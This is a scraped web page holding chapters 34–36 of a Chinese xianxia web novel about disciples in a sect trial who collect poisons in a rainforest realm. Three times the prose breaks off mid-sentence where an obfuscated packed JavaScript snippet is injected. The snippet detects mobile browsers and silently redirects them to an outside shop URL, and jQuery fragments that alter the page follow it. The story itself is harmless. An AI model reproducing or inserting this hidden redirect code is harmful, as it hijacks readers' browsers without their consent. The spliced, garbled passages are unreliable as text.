“一般都是怎么通关?” “好多都是打架,或是采集草药,到了一定的数量出来就行。”杜漓说的十分轻巧。 “试炼好过吗?”陆秋问出了关键问题。 “要是好过,大家还争着要后面的号吗?”杜漓瞪大眼睛看着他,表情有点狰狞:“而且你的表现大家都能看见的!” “啊?”陆秋还是有些不信:“具体点呢?” “比如把你扔到沙漠让你在一炷香的时间得到一盆水。” 陆秋表情十分凝重:“水灵根也许能拼一下,其他的……” “你就算吐口水也做不到啊。”杜漓咬牙切齿的:“到底是谁这么变态,想出来这么个折磨的试炼方法。” “没事,第一还是云栖月呢,先看他的试炼如何。”陆秋自我安慰。 “你是第三。”杜漓不让他自我安慰:“不过因为旁观太有意思了,所以大家都会看。” 言外之意,你出丑大家也都能看着。 二人面对面坐着,杜漓像是突然想起来什么,更低落了:“滨水宗本来弟子就多,这次试炼不出意外会把弟子赶走一部分的。” “真的吗?”陆秋感觉自己找到了离开的机会。 “嗯。”他点头:“直接开除,后勤全给你办好,你只要收拾东西走。” “啊?”还有这好事?陆秋心里乐了。 “你饿不饿?”杜漓站起来,拍拍屁股上的土,把衣摆往下拉好,又将腰带往上提。 “天太热了,不想吃。”陆秋眯眼往上看,透过层层树叶看偶尔能透过叶子的阳光,被照的眼前发黑。他砸吧两下嘴,和杜漓一起前往食堂:“去看看呗,没准到那儿就想吃了呢。” “你们怎么才走到这里?” 两人回头,看见云栖月又换了套衣服,杜漓忍不住小声和陆秋嘀咕:“他不该是羽人,他该是孔雀的。” “为什么?”陆秋明知故问。 “你不知道?”杜漓瞪他。 “不知道。”他笑着摇头。 “那就不知道吧。”杜漓知道陆秋在耍他,便冲他翻了个白眼,转头对云栖月说:“去食堂,你去吗?” “去啊。”云栖月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13395951|141174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经到了他们面前,伸手揽住陆秋脖子,笑问:“你们说我什么?” “杜漓说你是小孔雀。”陆秋选择直接卖掉杜漓。 杜漓瞪眼:“你出卖我!” 云栖月来找他们是有原因的,两人盯着他左手转了两圈的木牌,随后木牌上缓缓浮现出了个“二”。 “你换了!”杜漓尖叫出声:“到底是谁这么勇啊摸到二然后和你换第一?” “反正那人第一个出场,你可以随便看,先来说我要说的事吧。”云栖月笑眯眯的勾住陆秋挂在腰间的牌子,用自己的牌子一碰,两个牌子便连在了一起,轻轻一掰又成了先前的两块。 陆秋惊奇的拿过牌子试了试,发现杜漓也十分惊讶,他问云栖月:“这个牌子怎么能连到一起的?” “只有连续的数字才可以连起来。”云栖月看着试图把自己的牌子也连上去的杜漓出言提醒。 “连起来有什么用吗?”陆秋拿着两块牌子合上又掰开,反反复复也是玩上了。 “连起来就是组队了。”云栖月耐心解释:“连上后我们可以同时进入一个试炼场,然后共同完成一个任务,就算通过了。” “那我们得等多次时间?一个个的通过试炼,没个十天半个月的都测不完吧?”陆秋大体推测了一下通过时间,觉得一天能有十人通过都算是快的了。 “不是的,里面时间流速与外面是不一样的。”云栖月想了一下:“可能是……里面三天是外面的一炷香时间。” “啊?”陆秋惊了:“那我们要呆多长时间啊?” “难说。”他耸肩:“看难度吧。” “一般都是半个月。”杜漓告诉他:“而且一次试炼有好多人同时进行,不耽误长老评分的,一天六百多人不成问题的。” “我们组队吗?”陆秋看向云栖月,心里犹豫。他如果不能通过,就可以直接离开滨水宗,但云栖月若是和他组队,自己就要顾及对方的成绩,不能连带着对方下水。可是这样的试炼他还没有试过,有云栖月可以更快的带他熟悉环境,对他来说是有益的。 “你想组队吗?”云栖月把问题抛给他。 “组队是两人都得同意的事,我总不能只顾自己,你怎么想的?”陆秋按兵不动,询问对方的意见。 “你怎么想的,我就是怎么想的。”云栖月更沉得住气。 “所以你俩到底组不组队?”杜漓在一旁当空气都当不住了,他还是第一次听说能组队过试炼,要说想看也是真想看,还是很期待他俩能一起去试炼的。 陆秋看着他一下就有了想法,故意问:“你猜?” “你俩肯定一起。”杜漓抱胸,语气不爽:“想组队还搁这儿推来推去,刚出阁的大姑娘都没你俩这样的。” 陆秋刚想笑,就听见一道声音传来:“组队吗?” “你想和我组队?”他同样用心声传了过去。 这次云栖月没再嘴硬,直接给出了答案:“想。” “早说不就行了,还在这里弯弯绕绕的,麻烦。”陆秋嘴上又回复杜漓:“谁知道呢,到时候再说吧。” “这次你俩一定要在一起!”杜漓双手合十大喊:“你俩不在一起我这一生都会感到遗憾的!” “好好好,”云栖月绷不住了,他连连点头哄道:“他要是不跟我在一起我也闹,让他答应我。” 三人闹着走着到了食堂,上次的鱼肉给陆秋留下来不小的心理阴影,他又问杜漓关于那个人鱼的事情,杜漓一脸无所谓的样子:“那个啊,那个值班人被换掉了,这里的鱼又都改成想吃的得现抓了。” “没有什么赔偿吗?”陆秋不理解。 “能赔什么?这地方就这破德行,有事也给你压下去,谁管你死活。”他咂嘴摇头。 滨水宗貌似真的已经烂透了,就连新任掌门也是依靠这种手段上来的,无论是高层还是底层,都是一个样子,不要说种族攻击了,只怕是普通的反抗都会导致大动乱。陆秋想到这里看向不知在想什么的云栖月,突然觉得其中有什么他忽略了的事。 34. 考核(3) 事实证明,人一旦放松下来,时间就会流得很快,比如一个月的准备时间感觉也没有干什么却眨眼间就来到了试炼日。 陆秋和云栖月早早就站在试炼场外,不知是紧张还是怎么回事,陆秋感觉腿部肌肉都止不住的抖,牙齿也打起颤来,心跳又快又重但头脑却十分清醒。为了不让别人看出他的不自在,他假装闲不住的开始绕着云栖月散步来缓解腿部僵硬。 “咱们第二个进去,试炼虽然同时开,但是进入是要顺序的。”云栖月似乎是看出了他的紧张,开始和他聊天:“还不知道会出什么样的试炼。” “应该得是和能力契合的吧。”陆秋猜测。 “难说。”云栖月抬头看了眼高处的计时香,反驳他道:“有可能是出你的短板。” “那不就是故意难为人?”陆秋反问:“大家都能看出来吧。” “可以说是为了让你克服缺陷,”云栖月说到这里自己也被荒唐笑了:“多冠冕堂皇的理由。” 一阵刺耳的鸣声突然爆发,几乎所有人都下意识捂住耳朵,把头往下埋。等到鸣声渐渐散去,陆秋感觉自己太阳穴都在突突的跳动,头脑发胀眼前发黑,手放下时甚至出现了耳鸣。 他转头看了一圈,云栖月翅膀上的羽毛炸开,脸上甚至都隐隐浮现出金色纹路来。而剩下的妖修状态也不好,几乎都吓出了妖的特征,只有一位浑身雪白的少女依旧直直站在那里。 少女白发白睫,淡粉的眸子十分平静的望着试炼台,根本不被周围的妖修影响。只在瞬间,她就闪到台上并将木牌贴到了一个发光的悬浮光点上。光点迅速扩大,像泡沫那样包裹住了少女,当少女被从头到脚包裹严实后,光点又缩回了成人拳头那样的大小,在上面显示出了内部的情景。 陆秋还在发呆,云栖月拉住他的手腕传音对他喊道:“快,到我们了。” 陆秋也跟着跑起来,随着他跑到另一个光点前。这个光点在边缘,看着真的十分不起眼,他还没有反应过来眼前就出现了一阵刺眼的白光,随后两人身边的环境就变为了一处山洞内部。 陆秋用灵力在四周探查了一遍,没有发现太大的危险,便看向云栖月:“我们的任务是什么?” 云栖月手上的木牌已经融为一整块了,掰不开,意味着他们要共同完成一项任务。他们把牌子翻过来,发现背面已经有了几行红字。 “时长为十五日,要收集二十种毒液。”云栖月看完后做出总结。 “要怎么收集?”陆秋边问边寻找上面的提示。 “找到就算一种,不用提交。” “要接触吗?” “不知道。”云栖月“啧”了一声:“这给的提示也太少了。” 陆秋无奈摇头,突然想起刚刚用灵力探查的时候发现了只蜘蛛,便抬手挥出一道火焰将趴在墙上的蜘蛛削成了两半。蜘蛛掉落在地上发出黏糊糊的“啪叽”声,从体内迅速涌出一大滩蓝色脓液。 他们看着手中的牌子没有任何变化,云栖月便走近蜘蛛尸体,尝试着用牌子触碰了一下脓液。在接触的瞬间蓝色就在牌子上一闪而过,原先的“二十”也变为了“十九”。 “哦,要用牌子碰到啊。”云栖月拎着牌绳举高了点,确认上面没有粘上任何液体才又转着牌玩起来。 陆秋咂咂嘴,看向外面的雨林,心里发愁,又问云栖月:“你能出去吗?” 云栖月皱眉看着外面,抖抖翅膀发现收不起来,十分为难的说:“我也出去。” “那牌子怎么办?咱们分头找会很快,但不算收集的。”陆秋从芥子空间翻出来几个小瓶子问道:“可以装起来然后滴到牌子上吗?” “你遇到毒性不怎么强的还行,但有些毒的腐蚀性很强,就算带也不安全的。” “那怎么办。”陆秋坐到地上。 “咱俩分开行动吧,只要别走太远就行。”云栖月用灵力变出根红线来,系在两人的手腕上,随后又调整了几下,变成了可无限伸长的虚线。 “行了?”陆秋动动手腕,发现没有任何感觉后就又悄悄使用了思尘。思尘直接回应了他,并且给他提醒现在并不需要使用它,要再等等。 陆秋这才真正发现思尘可能不仅有了灵智,还有了预知与控制的能力,它可以预测未来会发生的事情,也可以去建议主人使用自己。但它对陆秋的认可很高,所以在遇到更好的人之前是绝对不会叛变的,陆秋可以放心去使用。 “我去左边。”陆秋说完这句话后便在周身开启了一个避水术。他的避水术其实就是使用火灵根让皮肤散发热量,到达足够把雨滴都给蒸发的温度,这样就能保证不被淋湿了。虽然水滴蒸发会有蒸汽,对视野并不友好,但总比身上湿漉漉的好得多。 出了山洞还没走几步就是一个虫窝,往里一看里面至少是有五六种毒虫,赶忙叫云栖月把木牌顺着绳子递过来,用灵力操纵一块石头猛地向那窝中砸去,把里面一堆毒虫都砸得黏黏糊糊的才停下,把石头移开时甚至还有液体粘在上面拉出几条长长的丝来。 “呃……”陆秋拼命把反胃的感觉压下去,由于砸得太碎导致都分不清是哪些毒液了,他就直接把牌子扔进去,让牌子自己识别。 牌子一进去就有了变化,几条不同颜色的线在上面飞快的窜动着,等陆秋蹲的腿都有点麻了牌子才平静下来。 他从一旁拿了根小树枝把牌子挑出来,指尖微搓召唤出条食指粗的小火龙来,小火龙围着牌子转了几圈才叼给陆秋,后又顺着指尖回到体内。陆秋左右转了两下确保上面没有任何脏东西了才拿到手中,发现“十九”变为了“十三”,心里感慨这任务可真简单,按这个速度他们明天就能完成试炼了。 手腕处的红线被扯了两下,他以为是云栖月找到了新毒液,便把牌子拴在线上给传了过去,自己继续向树林里面走去。 虽说雨林应该有不少毒物的,但自从刚刚砸烂一窝虫后,陆秋就没再见到一个活物。他从心底感到诧异,察觉到前方可能是有什么东西使得生物不敢靠近,便留了个心眼,用从黄琳那里“借”来的傀线操控着一只虫子向前爬行。 陆秋在原地盘腿坐下,将视野转移到虫子身上,由于视野很低,此刻能看见的就只有密密麻麻的草丛。他这么爬行着,大约前进了五公里左右,突然觉得行动似乎有些困难了,肢体越来越僵硬。 眨眼间,他的眼前就被凝上了一层寒冰,寄生的虫子直接死亡,把他的视线打了回来。陆秋被刺得紧紧闭上了双眼,疼痛就像是针一般刺穿了眼球,眼泪也控制不住涌出。 不对。他强忍着不适睁开眼,在勉强能看见周围的瞬间就飞快起身向红线所指的地方跑去。 “云栖月,来接我!”他边跑边用传音向云栖月喊。 云栖月那个方向传来奔跑的声音,陆秋顾不上路边刺人的杂草,脸颊被划得又疼又痒,他只想飞快逃离背后貌似正在靠近的东西。万幸二人分开并没有多远,陆秋在黑红的视野中清晰的看见红线的方向,最终一头扎进了来人的身上。云栖月双手环抱住他的腰,半抱半抗的把陆秋带回山洞,本来翅膀淋了雨就沉,现在还加了个人,对他来说多少都有些吃力了,所以一到山洞就和陆秋坐到了地上。 陆秋知道是回到山洞了,双手擦着脸颊上的眼泪,但发现这眼泪还有点腥味,随后就被云栖月拉住手用帕子擦拭着脸。 云栖月声音貌似有点抖:“你遇到什么了?” “还没见到就这样了。”陆秋眼睛睁开一道缝,发现眼泪都粘睫毛了。 “那东西现在在哪里?” “不知道,刚刚跑的时候我感觉还在后面,但现在没有了。”他终于能睁开眼,发现流的不是眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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云栖月只好摇头出去了,红线都断不了,牌子没了只能说明中间被什么东西拦下来了,而且就他们之间这么近的距离,二人都没有发现有其他的东西,更能证明那家伙不好对付。 失血过多的反应来得稍微晚了一点,但不会不来,陆秋觉得头晕脑胀,也不管地上脏不脏了,直接躺下闭目养神。 半晌,他摸着颈侧的那眼睛状妖纹,默念那人的名字。本以为这里会与外界切断联系,但不出半柱香的时间,就听远处传来的一声回答。 “怎么了?” 陆秋听到后突然有了种热泪盈眶的感觉,一摸眼眶原来是又出血了,他懒得再擦了,任由血液沿着太阳穴往耳朵里灌,只是和柳容柯对话:“我问你,我这是什么情况?” “什么什么情况?”柳容柯在那边看不见他的模样,但陆秋给他的感觉并不好受,有种刺骨的冰冷。没听到陆秋的回话,在仅有的一声声轻微的呼吸中他也不禁担心起来。想着反正也耗不了多长时间,他分出一小份魂魄直接顺着那片被陆秋炼化了部分的鳞片前去试炼场。 陆秋躺在地上只觉得脊骨发烫,不知是不是平躺导致压力过大,开始有了痛感。他艰难翻了个身,让自己趴在地上,但脊骨的疼痛并没有一丝减少,还愈发剧烈。终于连皮肤都有了撕裂的痛感,他才发觉是有什么东西从自己体内钻出来了。 他看不见发生了什么,但若是云栖月在这里,恐怕现在也被恶心的要吐出来。陆秋后背的衣物下像是有什么在蠕动,一次比一次起伏剧烈,甚至还伴随着液体在皮下涌动的声音。然后就是衣物被撕裂发出刺耳的“刺啦”声,和什么东西爬过液体的粘稠感觉,一条长有角的黑蛇从他后背沾满血液爬了出来。 黑蛇的体型越来越大,最终化为一个男人模样跪坐在陆秋身边,他割开手腕将血液滴在陆秋后背被撕裂开来的伤口上。 不过可能是不太熟练的缘故,导致了陆秋原本改在肌肉包围之中的脊骨直直露了出来,他只好又掰开肌肉将脊骨摁回了原位,再用血液让他后背的裂口进行愈合。 35. 考核(4) 柳容柯盯着昏过去的陆秋,愣了一会后把他被撕坏的衣服脱下来,从自己储物戒中找了一套尺码较小的衣服给陆秋换上,这才仔细检查起他的情况。 真邋遢。他嫌弃的用衣袖把陆秋脸上的血迹细细擦拭干净,发觉对方极有可能是被暗算了。至于暗算者是谁……他假装无意向洞口望去,把陆秋在怀中抱的更紧些,只听那股寒意发出一阵轻笑,转眼间便消失了。 柳容柯边盘算着边一下下重复着擦拭的动作,不知何时突然发现陆秋耳廓的血已经完全干涸。鬼使神差的,他低头凑近轻嗅。 为了避免妖族吃掉自己的合作者,他们结下的契约会使对方血液的味道在自己这里变得恶心无比。 气味非常腥。柳容柯喉结上下滑动几下。但是又夹杂了微弱的鲜甜。 就咬一口。他的手已经掐上了陆秋的脖子,就在嘴唇即将触碰到那一块血迹时,一声怒吼把他的理智及时拉了回来。 “放开他!”云栖月一回来就看见陆秋被死死圈在对方怀中生死未卜,也顾不上什么危险就对着柳容柯发动攻击,狂风作刃带起水珠扫向柳容柯,密密麻麻的像是要将对方活活削成肉泥。 柳容柯黑了脸,在风刃到达前就迅速化为巨蛟模样将陆秋围在其中,鳞片收缩紧密,风刃打在上面发出利器相撞的乒乓声,随后反弹到地上削出道道深印。 几十下攻击他是毫发无损,云栖月反而因连续战斗导致灵力不支。他额上青筋隐隐浮现,脸颊两侧的金色妖纹忽明忽暗,平时温和的模样更是一点踪影都没有,只留下愤怒与狰狞,仔细还能看见口中隐隐变得尖利的牙齿。 柳容柯也并非表现的那般轻松,风刃未击破他的鳞片,可次次力度之大几乎都要把他的鳞片给活生生拔下来。现在云栖月看起来理智都要没了,打起来自己可能也得吃不少亏,便又化为人形把陆秋放到地面上,自己向后退了几步作为让步,警惕的盯着对方的动作。 云栖月只是将手腕的红绳一拉,陆秋便轻盈的飞到了他那里。待云栖月把脉检查一遍确认没有什么问题时才对柳容柯卸下了些防备。 “你怎么在这里。”他用翅膀把陆秋罩住,决定和柳容柯谈谈。 “我不在这里他就凉透了。”柳容柯也不客气:“神识被攻击,寒气入体都察觉不到,不及时驱出来就等着经脉冻结运气不畅死吧。” “那你刚刚在做什么。”云栖月更不客气了。 柳容柯阴沉的看着他,突然笑了,反问道:“这么沉不住气?” “我在问你刚刚想做什么。”他要发作,但又怕被陆秋发现,此刻再气也只能低声威胁对方。 “装得这么高尚做什么?”柳容柯眯眼,他可不管陆秋会不会被吵醒。蛇信扫过两颗尖牙像是威胁:“你做什么可是瞒不住我的。” 云栖月不再言语,只是咬着下唇,尝到血腥味的时候察觉翅膀下的人似乎动弹了两下,他匆匆移开翅膀,想把妖纹收回去,却发现不仅妖纹,就连尖齿都无法恢复。他意识到在这个试炼场中变化是不可逆的,看着本体不在这里能够肆意变化的柳容柯气的磨牙。 陆秋醒来觉得身体都轻盈了许多,原先的不适一扫而空,再看见已经显露羽人特征的云栖月,默默开口问道:“我是死了吗?” “没有,你活着呢。”云栖月突然感谢自己的妖纹长得不仅不狰狞可怖,反而添了一抹神圣性,只要他少张嘴,不露利齿,陆秋就只能看见他温和有礼的模样。 听到另一旁传来的轻哼,陆秋急忙爬起来,和青蛙似的双手撑地坐在地上,发现柳容柯一脸不爽的在那里跪坐着,他呆滞的问:“你怎么在这?” “想来就来了。”柳容柯随口回答。 陆秋坐直身子,活动了几下肩颈发觉一丝异样都没有,又问:“我刚刚是怎么了?” “寒气入体,不过已经没事了。”云栖月回答他:“你想想有没有遇到什么奇怪的东西?” “想不到。”陆秋摇头,眼尖看见了云栖月腰带上的木牌,他摸过来翻来覆去检查有没有损坏,万幸没有,他们还是可以及时做完任务出去的。 “这个是掉在哪里了?” “被一只灵兽偷了。”云栖月苦笑:“窜的特别快,我也是费了很大功夫才抓住的。” “你俩现在应该先做任务,”云栖月冷冷出言提醒:“越到后面越难找,找不到就等着死这里吧。” 云栖月这才把自己找的毒液拿出来滴到牌子上,但遗憾的是其中重复的太多,最终还需要找到十种毒液。他们对视一眼,同时看向山洞外,他们进来时估摸着就在中午,现在这么一折腾,让本就不明亮的雨林更加暗沉,空气中那股腥味也重了几分,止不住的往鼻子里钻。 今天看来只能到这里了,第一天找到一半,而且云栖月找的大部分都是和陆秋重复的,还不知明天又会怎样。 “先休息吧。”陆秋这么提议着,在洞口附上一层和薄膜似的灵力罩,保证外面的东西进不来。 “这样不行。”柳容柯悄无声息来到他身边,指指地下:“你能挡住生物进来,能保证我们不出去吗?” “我们为什么会出去?”陆秋疑惑的看着他。 “这里味道不对,腥味是掩护,这里面还夹了其他的味道。”柳容柯皱鼻:“这里还有其他人。” “试炼场不是共通的吧?”云栖月也过来了:“我记得试炼场是把一块大秘境分割成为小秘境放弟子进入试炼的,这里不可能有其他弟子出现的。” “你怎么知道的?”柳容柯反问他。 “规则。” “谁的规则?” “滨水宗的规则,而且宗门用这种试炼考核的都会遵循这些的。” 柳容柯嗤笑:“那也是前几任掌门的规则,你不会真觉得这个掌门手脚干净吧?” 云栖月又警惕起来,但还是抱有一丝怀疑:“那也总不能让试炼弟子死在里面吧?” “你敢试吗?”柳容柯挑眉,一脸戏谑:“每年都有死在里面的你难道不知道?” 陆秋也听明白了,只是他起初也不太相信这个掌门会为难云栖月,毕竟对方是未来云家家主,现在与他结仇无异于给自己挖坑。但现在话说到到这种程度,他开始怀疑张掌门是不是要害的是他,毕竟陆夕月可没有暴露他的身份,自己在这里给云栖月拖后腿,张掌门想收拾他可太正常不过了。 想到这里,他开口解释:“这个可能是冲我来的。” “为什么?”云栖月看向他:“你都没在他面前露过脸,他为什么针对你?” “给你造成拖累了呗。”柳容柯在一旁看热闹不嫌事大:“不然为什么偷了牌子让你出去却不给你设置危险?想引开你呗;为什么让他自己呆在山洞里?想让他失去意识的时候旁边没人死了呗。首先能杀一个,其次把你的罪过洗脱,一个牌子就轻而易举。” 他继续补充道:“不过你也别太早下定义,我告诉你,这个掌门家传的秘法可不简单。” “他有什么秘法?”陆秋知道柳容柯得调查这些,但没想到他连人家家族秘法都能查。 “比黄家的那几个强些。” “傀术?”云栖月紧皱眉头,现在他连自己的安危都不能确定了。若是对方更强些,悄悄杀了他,把他做为傀儡不比和他合作简单的多? “我不知道,我可没说哦,是你们自己猜的。”柳容柯又不承认了,扭头看向石壁不再回答他们。 雨滴打在薄膜上不断流下,气氛也压抑到了极点,陆秋缓缓吐出一口浊气轻声说道:“明天我们一起去找吧。” “好。”云栖月点头,看似在发呆,其实已经用传音交流开了。 “你觉得我们需要对暗号吗?”他问。 “咱们都共通了,靠的是灵魂交流,谁被掉包了都能立刻发现好吧。”陆秋无语:“我比你安全些,我还有柳容柯,我死了他也不好受,所以就只用担心你。” “好吧。”云栖月“啧”了一声,靠着墙壁坐下,貌似在思索着什么。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13395953|141174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 陆秋在原地站了一会,发觉那二人都没了动静,扭头看去发现他们都低着头睡着了。云栖月消耗体力感到疲惫是正常的,柳容柯一个分神怎么还睡? 他静步走到柳容柯面前蹲下,轻轻拍了两下对方的手臂,给他传音:“我知道你没睡。” 下一秒柳容柯就睁开眼睛回复他:“有什么事?” “是你给我驱的寒吧?” “哼。”柳容柯阴阳怪气起来:“和他聊完了?” “这不是正事要紧吗,再说了,我现在不就来找你了吗。”陆秋在他旁边坐下,双手抱膝:“你也一直不说话,我总不能把云栖月扔到一边来哄你吧?” “那你现在在干什么?”他抬了一下下巴,看向孤零零靠在另一边睡觉的云栖月。 “那我走了。”陆秋见他不买账,起身要向云栖月那里走去却被拉住衣摆又一屁股坐到地上。 “干什么?”陆秋转头看他。 “你……”柳容柯欲言又止,纠结半天才轻轻放开他的衣摆,低声说道:“你去休息吧,我守着你。” “多谢。”陆秋搞不懂他在做什么,但还是点点头向他道谢,之后选了个不是那么脏的地方躺下,闭目养神。 可能是契约原因,灵宠对主人有依赖性。陆秋这么想着,也没有往心里去。 云栖月这一觉睡的是五味杂陈。先是被潮湿的地面洇湿了衣服,后又有一阵炽热不断打在翅膀上,而且胸口还有重物压着的感觉,最终在冰火两重天的状态下幽幽转醒。 醒来就看见柳容柯背着光面色不善的盯着他,再一看发现陆秋整个人都压在他身上,人家衣服一点没脏,自己被当成床垫在下面还吸足了水,本来就潮湿的翅膀现在像是在水中泡了一般,一抖就能抖出不少的水。而且那股热量还是陆秋忘记收回灵力导致一直在烤着他的翅膀。 翅膀上面都熟了,下面还有水。云栖月这么悲哀的想着。 陆秋本是没想睡的,但闭上眼一个不注意就睡着了,再醒来的时候两个人都在看他,他尴尬的慢慢从云栖月身上爬下来,还跪到了云栖月的翅膀尖,在云栖月闷哼中把他的压得羽毛都掉了几根。他手足无措的捏着掉下来的羽毛,只记得自己上一次这么尴尬还是在家族中没站稳把大哥的裤子扒了下来的时候。 “你拿着玩吧,他估计在换毛期,这些都是不要的。”柳容柯憋笑憋的声线都在发抖,还挑衅似的看了眼云栖月。云栖月也只能生无可恋的附和:“你拿着吧。” 陆秋突然不想要这读心术了,面前两人的想法在他面前一览无余,他知道两人都想给他台阶下,便小心地收回储物戒,没有说破其实羽人是没有换毛期这件事的。 陆秋把云栖月衣物烘干,三人便顶着他的保护罩出了山洞直直向前走。为了不那么无聊,陆秋开始边找边用心声问柳容柯问题。 “关于这个新掌门你都知道什么?” “不多。” “不多是多少?” “一点点。” 陆秋听到这里,抬手扇了柳容柯一巴掌:“你也找,别和大爷似的在这站着。” 柳容柯只好也蹲下来在草丛找活物:“有毒的就行?” “要毒液。”云栖月纠正。 “有什么关系吗?”柳容柯扭头反驳他:“毒粉加水不就是毒液?毒气遇冷不也能成毒液?非要死磕液体你得找多久心里没数吗,真是无语。” 云栖月被说的哑口无言,愣了一会才反应过来确实是这样的,便开始找其他可能有毒的东西。 从投影石上来看,只有陆秋与云栖月二人在忙着找东西,因为柳容柯是灵体状态,再加上陆秋的契约让他完美隐形,所以外面的人根本不知道里面作弊了,还在继续对弟子进行评分。 其中就有几双不老实的眼睛总往他们所在的试炼场瞟,在一阵窃窃私语后又匆匆跑到掌门那里汇报什么事情。 坐在最高位置的男人听后也只是点点头,但手指却像是痉挛般不停敲击桌面。 36. 考核(5) 第二日的进展貌似也不慢,云栖月带头往前找了三公里,几人腿都蹲麻了,茂密的枝叶让他们都直不起身来,只好保持弯腰的姿势,一趟下来腰酸背痛。云 栖月锤着后腰向后一看,陆秋早就变成了孩童模样,完全可以直着身子走;柳容柯本身就是蛟,这点弯曲程度对他来说还没有被前掌门关着的时候累。 原来真正累的只有我。云栖月气得直咬牙,把木牌拿出来总结一下今日的收获。木牌一直都是他在拿着,毒液可以直接滴上去,所以当他看见陆秋拿着几个袋子的时候感觉本来就累的转不动的脑子更迟钝了。 “这是什么?”他声音毫无起伏的问道。 “你先等等。”陆秋让他不要着急,自己拿出一个锅一样的容器,把一个袋子里的粉末倒进去,拿出原先就放在储物戒的水把它们搅拌均匀,当锅内的液体逐渐变为玫红色时他把木牌一角浸入水中,木牌果然开始变色,并显示又收集了一种毒液。 云栖月等他在泡第三种粉末的时候才开口问道:“为什么不用雨林的水呢?” “它在雨林里都是粉末了,你为什么觉得雨林的水能泡开它?”柳容柯抱胸面带鄙夷的看着他:“这就累的不行了?云家长公子还得再练练啊。” 云栖月不和他犟嘴,而是细算了一下时间,发觉自己的体能貌似真的在下降,总有一种疲惫感。他坐在地上,迷茫的看向四周,明天是山洞安全的最后一天,他们今天必须再寻到一处较为安全的地方,可这里只有树与草,无边无际,完全看不出有任何的区别。如果找不到,也不知道体力能撑到几时。想到这里,他又与陆秋心通:“你累吗?” “不累啊,你累?”陆秋抬头看了眼他,表情慢慢严肃起来:“你现在感觉怎么样?” “累。”他揉揉眉头:“浑身没劲。” “你脸上都没血色了,”陆秋把用完的东西一扔,双手捧住云栖月的脸查看他的状态,发现他就连眼周的血丝都没有多少时才意识到不对劲。 “不像是中毒,”他让柳容柯和他一左一右架着云栖月先回山洞,又分析道:“你平时也不贫血啊。” “不贫血。” “你身上也没有血腥味,没出血怎么会缺血。”陆秋更纳闷了,难不成是他晕着的时候云栖月出去被暗算了? “给个提示呗。”陆秋看向柳容柯,他觉得柳容柯绝对知道来龙去脉,只是不愿意说罢了。 “我哪里知道呢。”柳容柯耸肩:“我告诉你们有什么好处吗?” 陆秋张张嘴,有点恼火但并没发作,就这样保持着沉默走了一路,回到山洞也不说话,在把云栖月安置好后像是下了什么决定,不管那二人什么反应,丢下一句“我出去一趟”便消失在洞口。 他一出来就把避水罩撤掉了,心里又闷又烦,烦答案明明可以直接告诉他却瞒着,气自己没筹码能拿出来和人进行交换。 “思尘。”陆秋唤醒思尘,要求立刻开启溯洄,时间设置在这里的天黑之际。思尘貌似能感受到他不爽的情绪,这一次没有阻拦,直接开启了记录。 陆秋感受到记录,便不再畏手畏脚的走着。他直接御剑向天空冲去,冲出雨林的树顶,只能看见下面白茫茫一片,但心情在风中却有了好转。他飞得很快,转完一圈后只觉得肺里都是水汽,衣服也湿得差不多了,才决定要回去。 他缓缓御剑落下,却见远处有一个像祭坛似的东西,便将剑锋一转,向那里飞去。他并未靠得太近,落到地面时才一步步挪到那个祭坛范围内。 祭坛不大,正中央摆放着一个已经爬满青苔的石像。他莫名觉得石像的姿态十分眼熟,由于附近又没有什么危险,他便大着胆子的上前,在石像面部的位置用力扯下几块青苔。 青苔被扔到地上,石像破损的面部逐渐显露出来的时候,陆秋只觉得窒息。石像是莲花仙人,但面部残破不堪,从眼球处还能看见里面寄生了不止一窝的爬虫,此刻受了惊,正在不断蠕动着。 他下意识向后退了几步,心里后悔怎么没有要莲花仙人的契约纹,不然这会也能问问到底是怎么回事了。 他不知道要做什么,这时候本该回去了,但看着面前的石像,他觉得貌似还有什么事情需要他去做。 陆秋颤抖着手去翻芥子空间,试图找到什么东西能用,但掏来掏去也没什么能让他使用的,正当绝望之际,他的手指貌似碰到了个坚硬的东西。 他往里一看,是之前小鸟寄生的小石像,是第一次见面他把小鸟塞到储物戒时小鸟留下来的。 能用吧?应该能用吧。他往里注入了部分灵力,紧张的盯着石像,想找出一丝变化,比如打个哈欠,伸个懒腰。小石像在他手中突然抖了一下,他知道是联系上了,忙说道:“我是陆秋。” “我知道。”小鸟的声音传来:“我说怎么找不到石像了,原来是被你拿走了。”她在另一头责怪陆秋:“你怎么了?” “我在试炼场。” “哦,怎么样?”小鸟的声音十分慵懒,听着像是正在晒太阳的猫。 “我在这里……”陆秋用力吞咽了一下口水:“见到了莲花仙人的石像。” “正常,娘娘受欢迎嘛。” “可是这个像……很破,还爬满了虫子。”陆秋又往后退了退,生怕有虫子掉到他身上。 “什么?”小鸟听起来也十分不可置信:“谁敢这么对待娘娘的像?” “不知道,我们在一个雨林里,但是云栖月好像出了问题。”陆秋想把事情给小鸟说明,但还没说两句,小鸟就迫不及待的催他,让他找个地方和她联系,她要看看到底是谁能让莲花仙人的神像受这种待遇。 